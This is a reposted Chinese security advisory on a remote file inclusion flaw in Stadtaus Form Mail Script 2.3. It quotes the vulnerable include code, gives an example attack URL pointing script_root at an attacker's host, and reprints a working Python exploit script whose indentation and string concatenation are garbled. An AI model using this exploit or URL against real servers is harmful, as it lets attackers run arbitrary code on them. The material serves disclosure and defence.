Form Mail Script远程文件包含执行任意命令漏洞

2008-04-09 04:24:50来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

Form Mail Script远程文件包含执行任意命令漏洞

发布日期:2005-03-08
更新日期:2005-03-08

受影响系统:
Stadtaus Form Mail Script 2.3
描述:
BUGTRAQ ID: 12735

Form Mail Script是由Ralf Stadtaus开发的脚本,允许用户通过邮件以文本或HTML格式向一个或多个收件人发送web站点表单的信息。该脚本还可以记录所有发送出去的消息。

Form Mail Script中存在一个漏洞,远程用户可以利用这个漏洞在目标机器上执行任意命令。

inc/formmail.inc.php脚本不能正确的验证用户在script_root参数中提供的输入。远程攻击者可以提供特制的URL,导致目标服务器包含并执行远程服务器的任意PHP代码。代码(包括操作系统命令)会以目标Web服务进程的权限运行。

inc/formmail.inc.php中有漏洞的代码:

...
/*****************************************************
** Include functions
*****************************************************/
include $script_root . 'inc/functions.inc.php';
include $script_root . 'inc/template.class.inc.php';
include $script_root . 'inc/template.ext.class.inc.php';
include $script_root . 'inc/formmail.class.inc.php';
...
include $script_root . 'languages/language.' . $language . '.inc.php';
...

以下是示范的攻击URL:

http://[target]/[dir]/inc/form mail.inc.php?script_root=http://[attacker]/

如果将register_globals和allow_url_fopen设置为on的话就会发生攻击。

<*来源:mozako (mozako@mybox.it)
Filip Groszynski (groszynskif@gmail.com)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111022696125884&w=2#2
http://securitytracker.com/alerts/2005/Mar/1013378.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/python
# Form Mail Script (FS) remote file inclusion exploit
# Coded by: mozako - mozako [at] mybox [dot] it
# Vuln. Discovered by: Filip Groszynski
# 5 March 2005
#
# (C) 2005 badroot security
import urllib2
import sys
__argv__ = sys.argv
def usage():
print "Form Mail Script (FS) remote file inclusion exploit \nby:
mozako\n3.3.2005\n\nUsage:\n$ ./phpN.py -h http://123.4.5.6 -p
/PHP_News_Path/ -u http://filetoupload"
sys.exit(-1)
if len(__argv__) < 2:
usage()
try:
global host
global path
global url
host = __argv__[2]
path = __argv__[4]
url = __argv__[6]
except IndexError:
usage()
def hack():
try:
print "[X] Connecting...",
urllib2.urlopen(host path
"inc/formmail.inc.php?script_root=" url)
print "[OK]"
print "[X] Sending exploit...", "[OK]"
print "[X] Exploited !"
except urllib2.HTTPError:
print "[Failed]"
except urllib2.httplib.InvalidURL:
print "[Bad host]\nis there http:// ? :)"
except ValueError:
print "[Bad host]\nis there http:// ? :)"
hack()
# eof

建议:
厂商补丁:

Stadtaus
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.stadtaus.com/

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:PostNuke多个脚本远程SQL注入漏洞

下一篇:Lingo VoIP ATA/UTStarcom iAN-02EX默认帐号远程访问漏洞